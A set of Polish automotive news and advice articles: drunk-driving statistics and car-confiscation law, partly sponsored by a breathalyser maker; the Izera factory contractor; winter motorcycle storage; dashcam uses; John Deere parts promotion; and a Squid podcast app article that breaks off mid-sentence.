W całym 2023 r. służby zanotowały ponad 90 tys. przypadków jazdy po alkoholu. Od 1 stycznia 2024 r. policja zatrzymała już blisko 13 tys. kierujących pod wpływem napojów z procentami. Może wydawać się, że to stosunkowo niewiele jak na liczbę wszystkich kierowców w Polsce. Jednak z badań wynika, że co czwarty (27%) kierowca po spożyciu alkoholu zastanawiał się, czy może prowadzić samochód.

Najczęściej (aż 65%) wskazywanym przez ankietowanych powodem, dla którego zdecydowali się oni na jazdę nie mając pewności, czy są trzeźwi, było dobre samopoczucie. Biorący udział w anonimowej ankiecie wskazywali również na takie czynniki jak m.in. brak możliwości powrotu do domu inaczej niż własnym samochodem (39%) i krótki dystans do przejechania (28%). Prawie co piąty respondent (19%) przyznał, że liczył na uniknięcie kontroli drogowej i badania trzeźwości.

Wojciech Pasieczny, były szef stołecznej drogówki, a obecnie przedstawiciel Fundacji Zapobieganie Wypadkom Drogowym, alarmuje, że w Polsce wciąż nie ma wystarczającej liczby funkcjonariuszy do testowania trzeźwości uczestników ruchu drogowego.

– Oczywiście nie jest możliwe, aby policjant z alkomatem stał na każdym skrzyżowaniu. Niestety kontroli trzeźwości często nie ma nawet w tych porach i miejscach, gdzie byłoby to najbardziej wskazane. Brakom kadrowym służb mundurowych niestety towarzyszą braki w wyobraźni osób, które decydują się na jazdę autem „po paru głębszych”. Alkohol powoduje u kierowcy pogorszenie koordynacji ruchowej, wydłuża czas reakcji i zaburza widzenie – zarówno świateł, znaków drogowych, jak i samych pieszych, którzy są często niewinnymi ofiarami wypadków spowodowanych przez pijanych kierujących – tłumaczy Pasieczny.

Zdaniem specjalisty nie można wierzyć popularnym mitom, że wytrzeźwieje się szybciej dzięki piciu kawy lub spożywaniu tłustych posiłków.

– Przewietrzenie się na spacerze lub aktywność fizyczna po spożyciu alkoholu nie sprawią, że można wsiadać za kółko. Najlepiej jest sprawdzić stan swojej trzeźwości przy pomocy dobrej jakości alkomatu. Testery za kilka złotych nie zdają egzaminu. Najczęściej ich jedynym atestem (PZH) jest to, że po dmuchnięciu w ustnik nic nam się nie stanie. O poprawnym wskazaniu, czy mieścimy się w dopuszczalnym limicie alkoholu we krwi możemy jednak zapomnieć – przekonuje ekspert.

konfiskata pojazdu

Wtóruje mu Piotr Dempniak z firmy AlcoSense:

Proces rozkładu alkoholu przez organizm jest bardzo skomplikowany i zależny od wielu czynników. Jego tempo zależy nie tylko od wagi i płci, ale może być inne w zależności od dnia i naszego samopoczucia. Dlatego jedynie badania krwi lub test dobrze skalibrowanym alkomatem gwarantują uzyskanie wiarygodnych wyników stężenia alkoholu w orgazmie – mówi ekspert.

Jak właściwie sprawdzić stan swojej trzeźwości?

Bezpłatne badanie trzeźwości można wykonać w komisariatach policji. Taki test daje nam pewność, że możemy chwycić za kółko, jednakże najpierw musimy dostać się do takiej placówki. Trzeba pamiętać, że na test na obecność alkoholu we krwi nie wolno przecież przyjechać prowadzonym przez siebie samochodem.

Piotr Dempniak podpowiada, że swój stan w każdej chwili możemy sprawdzić dobrej jakości alkomatem osobistym.

Na rynku dostępne są urządzenia dorównujące dokładnością pomiarów sprzętowi używanemu przez policję. Wykonanie testu alkomatem może uchronić nas przed podjęciem decyzji kosztującej życie lub zdrowie – przekonuje Dempniak.

Specjalista radzi, aby korzystać z alkomatów wyposażonych w duży czujnik elektrochemiczny, zbliżonych do tych, jakich używają m.in. polskie służby. Gwarantują one dokładny i rzetelny pomiar. Dobry alkomat osobisty sam przeprowadzi użytkownika przez proces badania i wychwyci zbyt mocne, zbyt słabe lub niewystarczająco długie wydmuchiwanie powietrza z płuc podczas pomiaru. Nie mniej istotna kwestia to regularna kalibracja, o której powinno automatycznie przypominać urządzenie.

Alkomat AlcoSense Excel

Jeździe po alkoholu każdy powinien powiedzieć stanowcze „nie”

Europejska Rada Bezpieczeństwa Transportu​ uznaje, że kierowanie pojazdem pod wpływem alkoholu jest jedną z czterech głównych przyczyn śmiertelnych wypadków drogowych. Na polskie drogi każdego dnia wyjeżdża średnio aż 255 osób kierujących po alkoholu.

Z problemem pijanych kierowców należy walczyć na różne sposoby. Niezwykle ważną kwestią są obowiązujące przepisy – kary muszą być zarówno surowe, jak i odpowiednio egzekwowane. Tylko w ten sposób będą one skutecznie odstraszały przed jazdą po alkoholu. Kluczowa jest także długofalowa edukacja mająca na celu uświadomienie społeczeństwu rozmiarów problemu i jego skutków. W takie działania powinni zaangażować się zarówno rządzący, organizacje pozarządowe, media i przedstawiciele biznesu. Nie trzeba czekać na zmiany przepisów – dobre praktyki np. w miejscu pracy można wdrażać bez podpisanych ustaw, a samemu sprawdzać stan swojej trzeźwości za pomocą zaufanego urządzenia – przekonuje Dorota Olszewska, prezeska Stowarzyszenia Partnerstwo dla Bezpieczeństwa Drogowego.

Pijani kierowcy 2023 – pesymistyczne wyniki badań

Oto wyniki badań i odpowiedzi ekspertów na najczęściej zadawane pytania związane z nowymi karami dla jeżdżących po alkoholu.

Co Polacy sądzą o nowych przepisach?

Na zlecenie firmy AlcoSense, producenta alkomatów osobistych, zbadano 1017 polskich kierowców. Ponad 40% respondentów uznaje konfiskatę samochodu za skuteczną karę dla osób, które zdecydowały się na jazdę na podwójnym gazie. Z ankiety wynika, że co czwarty (27%) kierowca po spożyciu alkoholu zastanawiał się, czy może prowadzić samochód.

Najczęściej (aż 65%) wskazywanym przez kierowców powodem, dla którego zdecydowali się oni na jazdę nie mając pewności, czy są trzeźwi, było dobre samopoczucie.

Infografika - wpływ alkoholu na organizm

Kto i kiedy straci samochód?

Przepadek pojazdu mechanicznego będzie orzekany, jeżeli kierujący pojazd mechaniczny jest pod wpływem alkoholu, a zawartość alkoholu w jego organizmie jest wyższa niż 0,75 mg/dm3 w wydychanym powietrzu lub 1,5 promila we krwi. W przypadku kierującego pojazd mechaniczny, który spowodował wypadek, sąd może orzec przepadek pojazdu mechanicznego, jeżeli zawartość alkoholu w jego organizmie jest niższa niż 0,50 mg/dm3 w wydychanym powietrzu lub 1 promil we krwi, a jeżeli te wartości są przekroczone to sąd orzeka taki przepadek. (Gabriel Gatner, adwokat, twórca strony jazdapopijaku.pl)

Jak jest z przepadkiem auta w przypadku kierowców zawodowych?

Zgodnie z art. 44b § 3 kodeksu karnego – Przepadku pojazdu mechanicznego oraz przepadku równowartości pojazdu nie orzeka się, jeżeli sprawca prowadził niestanowiący jego własności pojazd mechaniczny wykonując czynności zawodowe lub służbowe polegające na prowadzeniu pojazdu na rzecz pracodawcy. W takim wypadku sąd orzeka nawiązkę w wysokości co najmniej 5000 złotych na rzecz Funduszu Pomocy Pokrzywdzonym oraz Pomocy Postpenitencjarnej. Górna granica nawiązki wynosi 100 000 zł (to wynika z art. 48 kk) Tym samym kierujący musi spełnić 2 warunki – pojazd nie może być jego własnością i wykonuje czynności zawodowe lub służbowe dla pracodawcy polegające na prowadzeniu pojazdu. Jeżeli chodzi o kurierów dużo zależy od tego na jakiej podstawie prawnej wykonują swoje zadania i co wynika z ich obowiązków opisanych w umowie. (Gabriel Gatner, adwokat, twórca strony jazdapopijaku.pl)

Co z osobami, które kierowały pod wpływem alkoholu autami w leasingu lub w najmie?

Zgodnie z art. 44b § 2 kodeksu karnego – wobec takich kierujących będzie orzekany przepadek równowartości pojazdu mechanicznego. Za równowartość pojazdu uznaje się wartość pojazdu określoną w polisie ubezpieczeniowej na rok, w którym popełniono przestępstwo, a w razie braku polisy – średnią wartość rynkową pojazdu odpowiadającego, przy uwzględnieniu marki, modelu, roku produkcji, typu nadwozia, rodzaju napędu i silnika, pojemności lub mocy silnika oraz przybliżonego przebiegu, pojazdowi prowadzonemu przez sprawcę, ustaloną na podstawie dostępnych danych, bez powoływania w tym celu biegłego. (Gabriel Gatner, adwokat, twórca strony jazdapopijaku.pl)

Co w sytuacji, w której pijany kierowca rozbije prowadzony samochód?

Zgodnie z art. 44b § 5 kodeksu karnego – przepadek pojazdu mechanicznego oraz przepadku równowartości pojazdu nie orzeka się, jeżeli orzeczenie przepadku pojazdu mechanicznego jest niemożliwe lub niecelowe z uwagi na jego utratę przez sprawcę, zniszczenie lub znaczne uszkodzenie. (Gabriel Gatner, adwokat, twórca strony jazdapopijaku.pl)

Kto i kiedy będzie musiał płacić nawiązkę?

Nawiązka będzie orzekana wyłącznie w przypadkach wskazanych w art. 44b § 3 kodeksu karnego, a więc w przypadku kierujących, którzy prowadzili niestanowiący jego własności pojazd mechaniczny wykonując czynności zawodowe lub służbowe polegające na prowadzeniu pojazdu na rzecz pracodawcy. (Gabriel Gatner, adwokat, twórca strony jazdapopijaku.pl)

Nowy rząd proponuje rezygnację z przepisu o obligatoryjnym przepadku pojazdu mechanicznego. Czy to właściwa zmiana?

W mojej ocenie jest to bardzo dobra inicjatywa – obligatoryjny przepadek zawsze powoduje brak możliwości spojrzenia na sytuację karną kierującego pod szerszym kątem tj. dotychczasowej karalności kierującego, jego sytuacji życiowej czy okoliczności, w których popełnił on taki czyn. Fakultatywność przepadku, oznacza przekazanie decyzji o jego orzeczeniu na wymiar sprawiedliwości, a przede wszystkim na sędziów, którzy po ustaleniu stanu faktycznego w sprawie z pewnością będą dobrze wiedzieli czy z takiej instytucji skorzystać czy nie.

Nowe przepisy obejmujące przepadek pojazdów zarówno fakultatywny, jak i obligatoryjny na pewno wejdą w życie, ponieważ tak stanowi ustawa. Pytanie do rządzących, kiedy przepisy zostaną znowelizowane. (Gabriel Gatner, adwokat, twórca strony jazdapopijaku.pl)

Co dzieje się z organizmem kierowcy po spożyciu alkoholu?

Alkohol powoduje u kierowcy pogorszenie koordynacji ruchowej, wydłuża czas reakcji i zaburza widzenie – zarówno świateł, znaków drogowych, jak i samych pieszych, którzy są często niewinnymi ofiarami wypadków spowodowanych przez pijanych kierujących. Przewietrzenie się na spacerze lub aktywność fizyczna po spożyciu alkoholu nie sprawią, że można wsiadać za kółko. (Wojciech Pasieczny, przedstawiciel Fundacji Zapobieganie Wypadkom Drogowym)

Czy można skutecznie walczyć z problemem pijanych kierowców na polskich drogach?

Niezwykle ważną kwestią są obowiązujące przepisy – kary muszą być zarówno surowe, jak i odpowiednio egzekwowane. Tylko w ten sposób będą one skutecznie odstraszały przed jazdą po alkoholu. Kluczowa jest także długofalowa edukacja mająca na celu uświadomienie społeczeństwu rozmiarów problemu i jego skutków. W takie działania powinni zaangażować się zarówno rządzący, organizacje pozarządowe, media i przedstawiciele biznesu. Dobre praktyki np. w miejscu pracy można wdrażać bez podpisanych ustaw, a samemu sprawdzać stan swojej trzeźwości za pomocą zaufanego urządzenia (Dorota Olszewska, prezeska Stowarzyszenia Partnerstwo dla Bezpieczeństwa Drogowego).

Jak wybrać dobry alkomat osobisty?

Na rynku dostępne są urządzenia dorównujące dokładnością pomiarów sprzętowi używanemu przez policję. Wykonanie testu alkomatem może uchronić nas przed podjęciem decyzji kosztującej życie lub zdrowie. Warto korzystać z urządzeń wyposażonych w duży czujnik elektrochemiczny, zbliżonych do tych, jakich używają m.in. polskie służby. Gwarantują one dokładny i rzetelny pomiar. Dobry alkomat osobisty sam przeprowadzi użytkownika przez proces badania i wychwyci zbyt mocne, zbyt słabe lub niewystarczająco długie wydmuchiwanie powietrza z płuc podczas pomiaru. Nie mniej istotna kwestia to regularna kalibracja, o której powinno automatycznie przypominać urządzenie. (Piotr Dempniak, AlcoSense)

Source: Konfiskata pojazdu – dziś wchodzą w życie restrykcyjne przepisy. Recydywa srogo karana

Fabryka samochodów elektrycznych Izera ma wykonawcę – to polska firma. Kiedy ruszą prace?

Spis treści

Spółka ElectroMobility Poland S.A., która powstała w październiku 2016 roku, od 10 lat realizuje projekt budowy polskiej marki motoryzacyjnej samochodów elektrycznych Izera oraz fabryki, która już wiemy, że stanie w Jaworznie. Rok temu firma podpisała porozumienia o współpracy z chińskim koncernem Geely oraz włoskim studiem projektowym Pininfarina. Jak twierdzą przedstawiciele ElectroMobility Poland, na koniec 2023 r. projekt został zrealizowany w około 40%. Nie sprecyzowano, czy chodzi tu o projekt auta, czy fabryki, a może całości przedsięwzięcia.

Kto wygrał przetarg na budowę fabryki Izery w Jaworznie?

Docelowo fabryka w Jaworznie w woj. śląskim ma zatrudniać 3 tys. pracowników i być przygotowana do produkcji 150 tys. aut rocznie w pierwszym etapie, z możliwością rozbudowy mocy produkcyjnych do
300 tys. samochodów rocznie.

Rozstrzygnięcie postępowania dotyczącego wyboru wykonawcy obiektu w Jaworznie zwieńczyło podpisanie listu intencyjnego przez przedstawicieli obu firm – Piotra Zarembę, prezesa ElectroMobility Poland oraz Jerzego Mirgosa, prezesa Mirbud S.A. Wykonawca działa od 1988 roku – spółka notowana na GPW – zrealizowała blisko 1000 projektów inwestycyjnych, a specjalizuje się m.in. w budownictwie przemysłowym, realizacji obiektów użyteczności publicznej oraz inżynierii drogowej.

Kiedy ruszą prace budowlane? Nie tak szybko…

W podpisanym porozumieniu strony wyraziły wolę realizacji kompleksowych robót
budowlanych na terenie Jaworznickiego Obszaru Gospodarczego, a następnie oddania
do użytkowania obiektów budowlanych fabryki samochodów elektrycznych o mocach
produkcyjnych wynoszących 150 tys. sztuk rocznie. Współpraca zostanie potwierdzona
odrębną umową o generalne wykonawstwo inwestycji po uzyskaniu przez spółkę
ElectroMobility Poland odpowiednich zgód korporacyjnych
. Ile to potrwa – nie wiadomo, jednak wybór generalnego wykonawcy i podpisanie stosownych umów mają pozwolić uruchomić
masową produkcję samochodów do połowy 2026 roku.

– Rozstrzygnięcie przetargu na budowę zakładu produkcyjnego to ostatni ważny krok na
drodze do rozpoczęcia produkcji samochodów marki Izera. Fabryka będzie gotowa w
ciągu 23 miesięcy od wbicia symbolicznej, pierwszej łopaty. Współpraca z polskim
podmiotem, który ma 30-letnie doświadczenie w realizacji inwestycji przemysłowych, jest
gwarancją tego, że prace przy budowie zakładu produkcyjnego będą zrealizowane w
najwyższym rynkowym standardzie i z dotrzymaniem harmonogramów inwestycji –
powiedział Piotr Zaremba, prezes ElectroMobility Poland.

fabryka Izery w Jaworznie - podpisanie listu

Kto wybuduje fabrykę Izery w Jaworznie?

Zgodnie z założeniami postępowania zakupowego inwestycja będzie realizowana w
formule „Projektuj i Buduj”, co oznacza, że wykonawca ma odpowiadać zarówno za sam
projekt budynku, jak i za pozostałe podejmowane działania aż do oddania fabryki do
użytku.

– Wybór naszej spółki na generalnego wykonawcę jednej z największych realizowanych
w naszym kraju inwestycji w branży motoryzacyjnej jest potwierdzeniem naszych
kompetencji oraz pozycji rynkowej. Jestem przekonany, że nasze doświadczenie, wiedza
i umiejętności naszych inżynierów oraz możliwości realizacyjne gwarantują wysoką
jakość i terminowość wykonania prac budowlanych. Chcemy, aby ta realizacja była
wizytówką nie tylko dla Śląska i miasta Jaworzno, ale by przez wiele lat służyła rozwojowi
całego tego regionu i była symbolem polskiej elektromobilności – podkreślił Jerzy Mirgos,
prezes Mirbud S.A.

Source: Fabryka samochodów elektrycznych Izera ma wykonawcę – to polska firma. Kiedy ruszą prace?

Przepalanie motocykla – szkodzi, czy może pomóc?

Spis treści

Chyba każdy motocyklista stara się odstawić motocykl na okres zimowy w bezpieczne i suche miejsce. Długotrwałe zimowe warunki, wilgoć i mróz, mogą negatywnie wpłynąć na wygląd i stan techniczny elementów motocykla. Zanim jednak odpowiemy na pytanie, czy przepalanie motocykla w zimie jest potrzebne – podpowiemy, jakie czynności serwisowe warto wykonać, żeby zabezpieczyć motocykl, podczas długich miesięcy zimowania.

Co zrobić z motocyklem na zimę, gdy nie mamy garażu?

W przypadku braku możliwości zabezpieczenia motocykla we własnym zakresie, warto zwrócić się z prośbą o pomoc do innych pasjonatów motocykli (np. na grupach motocyklowych na facebooku) lub wkupić usługę zimowania motocykla w firmie, która ją oferuje. Każdy chciałby długo i bezawaryjnie korzystać z motocykla, a właściwe jego przechowywanie zimą, właśnie do tego może się przysłużyć.

Jak przygotować motocykl na zimowanie?

Można zacząć od jego dokładnego umycia, ponieważ zanieczyszczenia, które przez parę miesięcy będą na motocyklu – staną się trudne do usunięcia, a nawet mogą zniszczyć / odbarwić powierzchnię lakieru czy felg. Następnie można zakonserwować elementy: gumowe i te z tworzywa, przeznaczonymi do tego preparatami oraz nasmarować elementy ruchome.

Warto się przyłożyć do wyczyszczenia łańcucha przez zimowaniem i ponownego jego nasmarowania. Ma to duży wpływ na jego stan techniczny i co za tym idzie – długość eksploatacji. Potrzebną wiedzę o tym, jak dobrze wyczyścić motocyklowy łańcuch można pozyskać w naszym poradniku: Jak zadbać o motocyklowy łańcuch?  

Jak zadbać o opony motocyklowe zimą?

Stojaki motocyklowe są bardzo przydatne podczas zimowania motocykla. Opony, które są obciążone masą motocykla w jednym położeniu, będą podatne na odkształcenia. Jeżeli nie mamy możliwości „podwieszenia” motocykla na stojakach, to warto zwiększyć ciśnienie powietrza w oponach i co jakiś czas je obracać, zmieniając położenie.

Przepalanie motocykla w zimie: stojaki motocyklowe na zimę

Przepalanie motocykla w zimie: stojaki motocyklowe na zimę

Czy tankować motocykl do pełna przed zimą?

Dolanie paliwa do pełna w motocyklu ma na celu zabezpieczenie wnętrza baku przed korozją, spowodowaną skraplającą się wodą na ściankach, gdy bak zimą pozostanie pusty. Paliwo pozostawione w baku na czas zimowy nie zmieni swoich właściwości. Dla tych, którzy jednak chcieliby się zabezpieczyć dodatkowo – stworzono stabilizatory paliwa. Preparaty, które w wyznaczonej ilości, dolewamy do baku, żeby paliwo nie ulegało procesom starzenia i utleniania.

Czy zmieniać olej w motocyklu przed zimą?

Wymiana oleju przed zimowaniem jest wykonywana po to, żeby nie zostawiać przepracowanego i zanieczyszczonego oleju na długie miesiące w motocyklu. Jednak są zwolennicy tego, by właśnie od świeżo zalanego oleju zaczynać sezon wiosną. Naszym zdaniem każda opcja jest dobra, jeżeli sprzyja regularnej wymianie oleju w motocyklu.

Czy wyciągać akumulator z motocykla na zimę?

Akumulator motocyklowy w zimie nie ma łatwo, szczególnie, gdy motocykl trzymamy w pomieszczeniu nieogrzewanym. Zimowe temperatury nie tylko przyspieszają rozładowanie, ale i nieodwracalne zasiarczenie, które może doprowadzić do trwałego uszkodzenia akumulatora. Dlatego warto zabezpieczać motocyklowy akumulator przed negatywnym wpływem niskich temperatur.

Eksperci od akumulatorów zalecają wymontowanie akumulatora i przechowywanie go w temperaturze od 0° do +25°C. Podkreślając, że należy okresowo sprawdzać jego naładowanie lub na stałe podłączyć do ładowarki z funkcją podtrzymywania naładowania.

Czy zawsze należy wyjmować akumulator na zimę z motocykla? Nie zawsze. Obecnie są już dostępne takie modele automatycznych ładowarek do motocyklowego akumulatora, które nie wymagają jego wyjmowania z motocykla. Na stałe podłączone do źródła prądu będą dbały o stan akumulatora przez całą zimę.

Przepalanie motocykla w zimie: ładowarka akumulatora motocyklowego

Przepalanie motocykla w zimie: ładowarka akumulatora motocyklowego

Przepalanie motocykla w zimie – szkodzi, czy może pomóc?

Przepalanie motocykla w zimie może zaszkodzić, ponieważ krótkotrwała praca silnika motocyklowego podczas zimowego postoju niesie więcej szkody niż pożytku. Ładowanie akumulatora na biegu jałowym jest praktycznie znikome, a do tego przy każdym rozruchu motocykla spada napięcie. Krótka praca motocykla nie służy też świecom, które nie będą w stanie osiągnąć temperatury do samooczyszczenia.

I ostatni argument – takie nagłe skoki temperatur (zimno-ciepło-zimno) stwarzają warunki do skraplania się wody, która ma wpływ na tworzenie korozji, np. w wydechu.

Source: Przepalanie motocykla – szkodzi, czy może pomóc?

7 zastosowań kamery samochodowej, o których warto wiedzieć

Kamery samochodowe – wideorejestratory na dobre zagościły już w naszych autach. Czy jednak wszyscy ich użytkownicy, wiedzą jak można je w pełni wykorzystać? Bardzo często kupujemy kamerę dla jednego, może dwóch zastosowań. W poniższym tekście przybliżymy listę 7 zastosowań, które mogą pomóc w codziennym życiu każdego kierowcy. Zapraszamy do lektury.

1. Pomoc na wypadek uczestniczenia w kolizji, wypadku

To podstawowe zastosowanie, dla którego kupujemy rejestratory jazdy. Kamera rejestruje obraz, który stanowi dowód w przypadku kolizji, wypadku czy innego zdarzenia drogowego. Nagranie z kamery może pomóc zarówno w ustaleniu winy, uzyskaniu odszkodowania, czy uniknięciu niesprawiedliwego ukarania. Jej posiadanie może nam oszczędzić problemów, stresu i strat. Co ważne, nie są do tego potrzebne najlepsze wideorejestratory, a ich podstawowe wersje.

2. Ochrona przed roszczeniami osób, które chcą wyłudzić od nas odszkodowanie

Bez względu na to, jak dużo poruszamy się autem, możemy paść ofiarą osób, które próbują zarobić na tym, że symulują różnego rodzaju zdarzenia drogowe, w tym kolizje, aby potem wyłudzić od nas odszkodowanie. Zapis z kamery samochodowej pozwala uniknąć wszelkich fałszywych oskarżeń.

3. Pomoc w odnalezieniu sprawców kradzieży, włamania do auta (tryb parkingowy)

Niektóre kamery posiadają funkcję trybu parkingowego, który uruchamia nagrywanie, gdy wykryje ruch lub wstrząs. Dzięki temu można łatwiej zidentyfikować sprawcę włamania czy zarysowania naszego auta pozostawionego na ulicznym parkingu.

4. Kamera samochodowa w ujęciu piratów drogowych

Każdego dnia możemy być świadkami niebezpiecznych sytuacji, w których ktoś łamie przepisy, przekracza prędkość, nie ustępuje pierwszeństwa pieszym itd. Nagranie z naszej kamery może być dowodem na popełnione wykroczenia lub przestępstwa, które można zgłosić policji w ramach postawy obywatelskiej. Szukasz kamery dla siebie? Najlepsze wideorejestratory znajdziesz na: https://allegro.pl/ranking/kamery-samochodowe-wideorejestratory-jazdy

5. Pomoc w nawigacji dzięki modułowi GPS i zapisywaniu przebytej trasy

Nie tylko najlepsze wideorejestratory, ale wiele popularnych kamer ma wbudowany moduł GPS, który pokazuje prędkość, kierunek, czy współrzędne geograficzne. Dzięki temu można łatwiej odnaleźć się na mapie, sprawdzić trasę, czy udowodnić przebycie określonego dystansu o danej porze, z daną prędkością.

6. Pomoc w udowodnieniu swojej niewinności na wypadek otrzymania niesłusznego mandatu

Nierzadko zdarza się, że po zatrzymaniu otrzymamy niesłuszny mandat, a później próbujemy dowieść swojej niewinności. Zapis z kamery samochodowej może pomóc w udowodnieniu braku winy np. za przekroczenie prędkości, przejazd na czerwonym świetle itd. Nagranie z kamery może być też dowodem w sądzie, gdyby zaszła taka potrzeba.

7. Wideorejestrator zamontowany z tyłu pojazdu może służyć jako kamera cofania

Odpowiednio dobrany i zamontowany tylny model wideorejestratora może pełnić funkcję kamery cofania, co jest bardzo praktyczne w szczególności podczas manewrowania i parkowania auta. Przeglądając ranking kamer samochodowych i wybierając kamerę tylną, warto sprawdzić, czy będzie ona mogła w razie potrzeby stać się kamerą cofania.

Podsumowanie

Kamera samochodowa może okazać się przydatna w aż 7 różnych sytuacjach na drodze, na parkingu czy podczas manewrowania autem. Dzięki zapisom z naszej kamery możemy udowodnić swoją niewinność czy to podczas udziału w kolizji, próby wyłudzenia od nas odszkodowania czy posądzenia o wykroczenie zakończonego otrzymaniem mandatu. Dodatkowo w ramach postawy obywatelskiej, zapisy z naszego rejestratora mogą posłużyć jako pomoc w zatrzymaniu piratów drogowych. Relatywnie niski na tle ceny samochodu, koszt wideorejestratora powinien zachęcić każdego kierowcę do jego zakupu. Dzięki kamerze na pokładzie każda podróż minie nam spokojniej, gdyż wiemy, że w razie nieprzewidzianych zdarzeń na drodze będziemy mieli zapis tego, co tak naprawdę miało miejsce. Mamy nadzieję, że powyższy tekst ułatwi nieco decyzję, który wideorejestrator wybrać. Wszystkim kierowcom życzymy tymczasem szerokiej drogi i oby zapisy z kamer były potrzebne jak najrzadziej.

Source: 7 zastosowań kamery samochodowej, o których warto wiedzieć

Części John Deere – czy warto kupować oryginalne komponenty?

Zużycie części dotyczy niemal wszystkich maszyn rolniczych, które na co dzień pracują w ekstremalnie trudnych warunkach. Są one wymagające zwłaszcza podczas kampanii żniwnej, gdy ciągniki rolnicze i kombajny zbożowe pracują nieprzerwanie nawet przez kilkanaście godzin dziennie. Pojazd rolniczy powinien zatem odznaczać się wysokim poziomem sprawności technicznej oraz posiadać aktualne przeglądy. W przypadku awarii i usterek maszyn rolniczych konieczne jest kupno nowych części. John Deere to producent często wybierany przez rolników. Oferuje bowiem oryginalne, sprawdzone elementy i komponenty do swoich maszyn, które na co dzień wykorzystywane są w pracy na roli.

Jakimi cechami odznaczają się części John Deere, ciesząc się coraz większą popularnością wśród klientów? Zarówno w sklepach internetowych, jak i stacjonarnych punktach handlowych widoczny jest szeroki wybór asortymentu producenta. W obliczu kupna koniecznych części rolniczych i podzespołów rolnicy stają przed pytaniem, czy wybrać tańsze zamienniki, czy oryginalne części. W każdej grupie elementów do maszyn rolniczych znajdują się produkty w innym przedziale cenowym i odmienne pod względem jakościowym.

Gdzie kupować oryginalne części do maszyn rolniczych?

Wymiana poszczególnych części w maszynach rolniczych to nie lada wydatek dla większości właścicieli gospodarstw rolnych. Należy jednak zawsze liczyć się z koniecznością tego rodzaju wydatkowania. Do awarii i usterek może bowiem dojść w każdym momencie. Najwyższe prawdopodobieństwo zużycia niektórych komponentów występuje w sezonie żniwnym. Wówczas większość rolników wyposaża się w najczęściej psujące się części, by uniknąć ryzyka wystąpienia niepotrzebnych przestojów i strat finansowych. Części John Deere, podobnie jak innych sprawdzonych producentów – Fendt, Massey Ferguson, Case IH, New Holland – można znaleźć w wielu punktach handlowych.

Większość części do ciągników John Deere, kombajnów zbożowych, sieczkarni, ładowarek, kosiarek oraz innych maszyn dostępnych jest w internetowym serwisie rolniczym GALOP. Coraz liczniejsze grono klientów decyduje się na korzystanie z wirtualnych usług, doceniając dostępność części rolniczych i szybkość realizacji zamówienia. Dodatkowym atutem jest możliwość skorzystania z profesjonalnego doradztwa ekspertów. Nie zawsze wiemy, jakich części rolniczych potrzebujemy do naszej maszyny. W doborze komponentów należy wziąć pod uwagę przede wszystkim markę i model pojazdu, rocznik, pomocny okazuje się również numer VIN.

części John Deere

Części zamienne do maszyn rolniczych a oryginalne części John Deere

Nowoczesne maszyny rolnicze, choć kosztowne, są sprzętem niezbędnym w pracy każdego rolnika. Dbając o ich sprawność i jak najdłuższy okres bezawaryjnej żywotności, warto zastanowić się nad tym, czy wymieniając zużyte komponenty zdecydować się na elementy oryginalne, czy zamienniki. Części John Deere charakteryzują się gwarancją określonego, wysokiego standardu i dłuższą żywotnością niż tańsze zamienniki. Takie komponenty muszą działać przez z góry określony przez producenta czas, co określone jest zapisami gwarancji. W przeciwnym razie klient w każdej chwili może je zareklamować.

Potencjalnych nabywców oryginalnych części do ich zakupu może jednak zniechęcić stosunkowo wysoka cena. Należy jednak pamiętać przede wszystkim o ich idealnej kompatybilności z wybranymi maszynami. Wybierając nowoczesne, oryginalne części do maszyn rolniczych John Deere, unikamy ryzyka popełnienia pomyłki i niedokładnego doboru komponentu. Płynna i wydajna praca urządzeń nie jest możliwa z niewłaściwie dopasowanymi elementami ich wyposażenia. Może to skutkować uszkodzeniem poszczególnych podzespołów maszyny. Na montaż innych części niż oryginalne nie można ponadto pozwolić sobie zwłaszcza w okresie, w którym sprzęt rolniczy objęty jest gwarancją. Wówczas rolnicy muszą serwisować maszynę w odpowiednich, autoryzowanych serwisach. Należy ponadto korzystać wyłącznie z oryginalnych części w przypadku ich awarii czy zużycia. Inne działanie groziłoby utratą gwarancji, tak cennej po zakupie nowych i kosztownych maszyn rolniczych.

Przed podjęciem decyzji o na pozór korzystnym zakupie warto przeanalizować czy inwestycja będzie opłacalna na dłuższą metę. Zamienniki mają zwykle krótszą żywotność niż oryginalne części John Deere, co sprzyja ich częstszym wymianom i nieprzewidywalnym awariom. Pierwowzory przechodzą ponadto niezliczone ilości testów jakości. Zamienniki nawet w górnych pułapach cenowych nie gwarantują najwyższej jakości w przeciwieństwie do oryginalnych części do maszyn firmy John Deere.

Najczęściej kupowane części rolnicze do ciągników rolniczych, kombajnów zbożowych i innych maszyn marki John Deere

Szeroki wybór części do ciągników i maszyn rolniczych John Deere sprawia, że obecnie rolnicy nie martwią się zbytnio ich dostępnością, zwłaszcza gdy zaopatrują się w nie w internetowych sklepach rolniczych. Do najczęściej kupowanych elementów należą m.in. części układu hydraulicznego, kierowniczego, hamulcowego, elementy silnika, chłodnice EGR John Deere, filtry oleju, powietrza i paliwa John Deere, czujniki ciśnienia oleju, alternatory czy amortyzatory. W ofercie sklepu z częściami do maszyn John Deere GALOP znajduje się również bogata oferta akcesoriów i dodatków usprawniających codzienną pracę maszyn rolniczych i komunalnych. Dostępność oryginalnych części i podzespołów od ręki, szybka wysyłka i atrakcyjny ceny – to główne atuty zakupów wykonywanych w internetowym sklepie rolniczym.

Oryginalne części rolnicze dostarczane są do klientów niezwłocznie po złożeniu zamówienia. Jego realizacja trwa zwykle 24 godziny. Specjaliści gwarantują klientom wysokiej jakości komponenty dobierane indywidualnie do ich potrzeb i danych technicznych każdej maszyny. Cechują się one trwałością i bezawaryjnością.

Oryginalne części do maszyn rolniczych John Deere można znaleźć w sklepie internetowym GALOP. Kliknij link i sprawdź asortyment: https://agrogalop.pl/marka/john-deere/.

Source: Części John Deere – czy warto kupować oryginalne komponenty?

Squid uruchamia podcasty, których łatwiej posłuchasz w samochodzie – premiera na Mobile World Congress 2024

Spis treści

Squid to aplikacja, którą wiele z nas ma zainstalowaną na swoim smartfonie. Pomaga odnaleźć się w informacyjnym gąszczu przeróżnych stron, agregując zarówno treści, jak i wideo, a teraz także podcasty, które właśnie zadebiutowały na największycm wydarzeniu technologicznym w Europie – Mobile World Congress 2024.

Nowa usługa jest kompatybilna w samochodzie z Android Auto i Apple CarPlay, dzięki czemu korzystanie z podcastów – zarówno w autach, jak i ciężarówkach – jest zarówno łatwiejsze, jak i bardziej bezpieczne. Użytkownicy mają szybki dostęp do swoich ulubionych podcastów, jednocześnie w pełni skupiając się na drodze.

Squid – jak pobrać aplikację?

Aplikację można pobrać z jednego ze sklepów:

